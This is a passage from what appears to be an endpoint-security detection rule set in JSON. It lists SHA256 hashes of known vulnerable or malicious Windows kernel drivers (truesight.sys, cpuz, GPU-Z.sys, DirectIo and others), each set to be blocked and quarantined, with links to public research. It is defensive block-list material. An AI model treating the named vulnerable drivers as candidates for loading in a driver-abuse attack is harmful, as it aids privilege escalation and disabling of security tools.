+  "value": "1848cb34d16559e3c8232c369d89fc12b5720b58300d8c4c21dade6e3ea8d585",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb241825-b066-5264-a029-4a311283b3e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976679Z",
+  "creation_date": "2026-03-23T11:45:29.976681Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976686Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "675329ef7a63a7c58d3daa6cb5c6e299143decec7a149c36a6bfe204bbf0407e",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb28a922-db4f-5b1b-84b2-1738be63df28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613206Z",
+  "creation_date": "2026-03-23T11:45:29.613208Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613214Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dc8a1cf5402f95d61662531507b12b04e16922eb89108eb751d1c634d475ef67",
+  "comment": "Gigabyte vulnerable driver (aka GVCIDrv64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb28b8b6-3c07-5adb-8278-50b73fb3f61c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141486Z",
+  "creation_date": "2026-03-23T11:45:31.141488Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141494Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b61f69d9c11487bf5852e63d9980b5577ef44ef180933681d0b0a187bed81ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb2b968e-c2da-5fd6-b58f-4c50a844a99f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484720Z",
+  "creation_date": "2026-03-23T11:45:31.484724Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484733Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cc991132e6a0dfc648a2f4ac73e97af26eec1f90372236df6d539b972e06a2b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb39c2ca-80f5-58c5-9555-b265aa40d27d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835490Z",
+  "creation_date": "2026-03-23T11:45:30.835493Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835502Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "234ed5418a8db6f989add54ef8823eb1b2e8e73b0cff0716d0554fbc4490acbf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb4bb953-609d-5e38-a217-c30c06a53386",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478133Z",
+  "creation_date": "2026-03-23T11:45:30.478136Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478145Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c812acb46a9d4b224cc20c70aeca969b00521123008cff8b1eb0367fdb0fc6b",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb659702-9041-585e-8777-c89347646f73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622967Z",
+  "creation_date": "2026-03-23T11:45:29.622969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622974Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8bf3bd441ebc5814c5d39d053fdcb263e8e58476cbdee4b1226903305f547b6",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb65b31f-dfdb-5b49-bc2b-23a672caa6fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828029Z",
+  "creation_date": "2026-03-23T11:45:30.828031Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828037Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea9506eab19fbc25589a5e9058bb8be8c934ea88ab9ac62bee82627147e8506b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb716ac5-156b-5b0b-9c6c-8b788c89bdbc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480979Z",
+  "creation_date": "2026-03-23T11:45:31.480983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95e37414577d94a018dd2da7f59a835b0619b4c40068e717cb4ce4bd5137ab0a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb79aa74-d622-5b62-8cff-806de0e17034",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142892Z",
+  "creation_date": "2026-03-23T11:45:31.142894Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142899Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c286d288c474ffb42d80fcc692ff747c51275c34653f5b1c63f1e75de378d8c7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb7a572b-69ff-5d56-8b43-5c27f208735c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144447Z",
+  "creation_date": "2026-03-23T11:45:32.144449Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144455Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37206b758eac2c7775ef881c1dc9a96129a517069bdf47049afc3b29e328408e",
+  "comment": "Vulnerable Kernel Driver (aka ProcObsrvesx.sys) [https://www.loldrivers.io/drivers/8a1a4a5d-3e41-4539-80cd-0cb751f7fab3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb8d06a9-8762-5ff2-a81f-94784b930102",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807502Z",
+  "creation_date": "2026-03-23T11:45:31.807504Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807510Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e42755c0f27c6a89c6f101d28b0b43ca2899d543db85411a38449b96a9d49e5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb944f3b-9895-5756-8ca4-93da3c9ef924",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455275Z",
+  "creation_date": "2026-03-23T11:45:30.455279Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455287Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0391107305d76eb9ddf1a5b3b3c50da361e8ab35b573dbd19bf9383436b9303e",
+  "comment": "Vulnerable Kernel Driver (aka netfilterdrv.sys) [https://www.loldrivers.io/drivers/f1dcb0e4-aa53-4e62-ab09-fb7b4a356916/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb95ca08-7baf-5987-b7a3-b895aea9dfb6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611619Z",
+  "creation_date": "2026-03-23T11:45:29.611621Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611629Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62daa7ab93684d935cdada8af43cba552d7692cb992411d27ba1ee50a9fb1883",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb9c32ac-6f4b-5989-92f0-7e050265dc8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827367Z",
+  "creation_date": "2026-03-23T11:45:31.827369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827374Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8427775632e60b14264ada48a86c7f59fde2f4e5cbc46cf4768c87cf7ad5a84b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cba77143-c52c-5e2d-aaca-109fa5f1ce47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154431Z",
+  "creation_date": "2026-03-23T11:45:31.154433Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154438Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c36037dedb296b6746f6ac6eea9b1a6eaa46eba4c49da895bcac79c39269a584",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cbaaa024-cffd-52cf-ad0b-c8116f0f0195",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491902Z",
+  "creation_date": "2026-03-23T11:45:31.491904Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ecceaf72e18dba67f0537b50ff56b9dd2643616a27a22b8be498d2cd7de9a2c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cbba6613-b8c4-59cb-91e1-6894293cbbcc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471912Z",
+  "creation_date": "2026-03-23T11:45:30.471915Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471925Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65e3548bc09dffd550e79501e3fe0fee268f895908e2bba1aa5620eb9bdac52d",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cbc35264-0230-534d-a3ea-7b5aa9697ae7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154935Z",
+  "creation_date": "2026-03-23T11:45:31.154938Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154943Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b16be2f9bfc6ba39d29e5aa1f82e035f303d8e246f5f06a2be12435eea5336e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cbd1f43e-f659-5525-85e0-11b851834a3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143448Z",
+  "creation_date": "2026-03-23T11:45:32.143450Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06967882fae2160cec07ea7b31685deefc61e1e6153ed8e87ee8a1f7086afc5b",
+  "comment": "Vulnerable Kernel Driver (aka GPU-Z.sys) [https://www.loldrivers.io/drivers/0d6f1b0f-b94d-4254-b3bb-49de61246260/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cbd58266-f777-5dee-8499-06aea4427b09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476616Z",
+  "creation_date": "2026-03-23T11:45:30.476619Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476629Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d4cb02a826973521678309a0076b2fd50894c09dda87ca86089e815f4bc9bce",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cbdbe2c5-110c-59a6-94aa-9d8b0b5b51a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160605Z",
+  "creation_date": "2026-03-23T11:45:31.160607Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160613Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f6c9e43cb8e6af24315f57b638253c1d7f33793fdd879e6fb37a0e16b5a124b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
